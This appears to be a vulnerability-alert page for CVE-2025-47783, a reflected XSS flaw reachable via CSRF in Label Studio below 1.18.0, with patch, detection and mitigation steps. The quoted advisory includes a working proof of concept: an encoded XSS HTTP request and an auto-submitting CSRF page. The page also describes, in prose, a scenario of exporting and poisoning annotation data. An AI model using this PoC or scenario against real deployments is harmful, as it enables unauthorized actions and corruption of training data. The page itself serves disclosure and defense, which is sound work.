AI Threat Alert
CVE-2025-47783: Label Studio: XSS enables unauthorized actions via CSRF
GHSA-8jhr-wpcm-hh4h HIGH PoC AVAILABLE CISA: ATTENDLabel Studio deployments below 1.18.0 are vulnerable to reflected XSS via the label config upload endpoint, exploitable without authentication through a CSRF attack page sent to any logged-in user. Upgrade to 1.18.0 immediately; session cookies are http-only so direct session theft is blocked, but an attacker can still manipulate annotations, exfiltrate project data, or corrupt training datasets on behalf of the victim. If you cannot patch now, block external access to /projects/upload-example/ at the network perimeter.
What is the risk?
MEDIUM-HIGH for organizations using Label Studio in internal annotation pipelines. The CSRF delivery vector means exploitation requires no credentials—just a victim with an active session clicking a link. The PoC is fully public and trivially weaponizable. However, the http-only cookie flag prevents session token theft, limiting the blast radius to in-session actions. Risk elevates significantly if Label Studio is internet-facing or shared across a large annotation team, as a single successful phish gives persistent in-browser code execution against that user's workspace.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Label Studio | pip | < 1.18.0 | 1.18.0 |
Do you use Label Studio? You're affected.
How severe is it?
What should I do?
5 steps-
PATCH
Upgrade label-studio to >= 1.18.0 immediately. The fix adds proper Content-Type: application/json header to HttpResponse, preventing browser HTML interpretation.
-
NETWORK
If patching is delayed, add a WAF rule blocking POST requests to /projects/upload-example/ containing script tags or HTML entities (%3cscript, <script).
-
DETECTION
Review web server logs for POST requests to /projects/upload-example/ with label_config parameters containing HTML/script content. Alert on responses from that endpoint that include '<script' in the body.
-
VERIFY
Check Label Studio version across all environments: pip show label-studio | grep Version.
-
AWARENESS
Brief annotation teams not to click links in unsolicited emails referencing Label Studio projects—this is the primary CSRF delivery vector.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2025-47783?
Label Studio deployments below 1.18.0 are vulnerable to reflected XSS via the label config upload endpoint, exploitable without authentication through a CSRF attack page sent to any logged-in user. Upgrade to 1.18.0 immediately; session cookies are http-only so direct session theft is blocked, but an attacker can still manipulate annotations, exfiltrate project data, or corrupt training datasets on behalf of the victim. If you cannot patch now, block external access to /projects/upload-example/ at the network perimeter.
Is CVE-2025-47783 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2025-47783, increasing the risk of exploitation.
How to fix CVE-2025-47783?
1. PATCH: Upgrade label-studio to >= 1.18.0 immediately. The fix adds proper Content-Type: application/json header to HttpResponse, preventing browser HTML interpretation. 2. NETWORK: If patching is delayed, add a WAF rule blocking POST requests to /projects/upload-example/ containing script tags or HTML entities (%3cscript, <script). 3. DETECTION: Review web server logs for POST requests to /projects/upload-example/ with label_config parameters containing HTML/script content. Alert on responses from that endpoint that include '<script' in the body. 4. VERIFY: Check Label Studio version across all environments: pip show label-studio | grep Version. 5. AWARENESS: Brief annotation teams not to click links in unsolicited emails referencing Label Studio projects—this is the primary CSRF delivery vector.
What systems are affected by CVE-2025-47783?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, data annotation platforms, MLOps CI/CD pipelines, supervised learning workflows.
What is the CVSS score for CVE-2025-47783?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.003 Malicious Link AML.T0020 Poison Training Data AML.T0048.003 User Harm AML.T0049 Exploit Public-Facing Application AML.T0078 Drive-by Compromise Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks. ### Details The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. ```python 39: @require_http_methods(['POST']) 40: def upload_example_using_config(request): 41: """Generate upload data example by config only""" 42: config = request.POST.get('label_config', '') 43: 44: org_pk = get_organization_from_request(request) 45: secure_mode = False 46: if org_pk is not None: 47: org = generics.get_object_or_404(Organization, pk=org_pk) 48: secure_mode = org.secure_mode 49: 50: try: 51: Project.validate_label_config(config) 52: task_data, _, _ = get_sample_task(config, secure_mode) 53: task_data = playground_replacements(request, task_data) 54: except (ValueError, ValidationError, lxml.etree.Error): 55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST) 56: else: 57: response = HttpResponse(json.dumps(task_data)) 58: return response ``` The vulnerability is specifically located in line 57, where HttpResponse is used. ```python 57: response = HttpResponse(json.dumps(task_data)) ``` ### PoC Send the following request after changing the `{host}` to your own. ```css POST /projects/upload-example/ HTTP/1.1 Host: {host} Content-Type: application/x-www-form-urlencoded Content-Length: 67 label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e ``` Or you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim. ```html <html> <body> <form action="http://{domain}/projects/upload-example/" method="POST"> <input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` ### Impact - Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Exploitation Scenario
An adversary targeting an AI company's training pipeline identifies that the team uses Label Studio for NLP annotation. They craft a malicious HTML page that auto-submits a POST to the victim's Label Studio instance with a label_config payload embedding a JavaScript payload. The payload, on execution, calls the Label Studio API to export all annotation tasks to an attacker-controlled endpoint, then subtly modifies a sample of labels in a high-value project (e.g., flipping sentiment labels from positive to negative at a 5% rate). The attacker emails the page disguised as a vendor survey link to an annotation team member. The victim's browser executes the payload silently. The poisoned annotations flow into the next weekly training run undetected, degrading model performance on a targeted class without triggering obvious alerts.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2025-25297 8.6 Label Studio: SSRF via S3 endpoint exposes internal services
Same package: label-studio CVE-2025-5173 7.8 label-studio-ml: PyTorch .pt deserialization RCE in YOLO loader
Same package: label-studio CVE-2022-36551 6.5 Label Studio: SSRF + file read, self-reg bypass
Same package: label-studio CVE-2025-25296 6.1 Label Studio: reflected XSS via label_config param
Same package: label-studio CVE-2026-22033 label-studio: XSS enables session hijacking
Same package: label-studio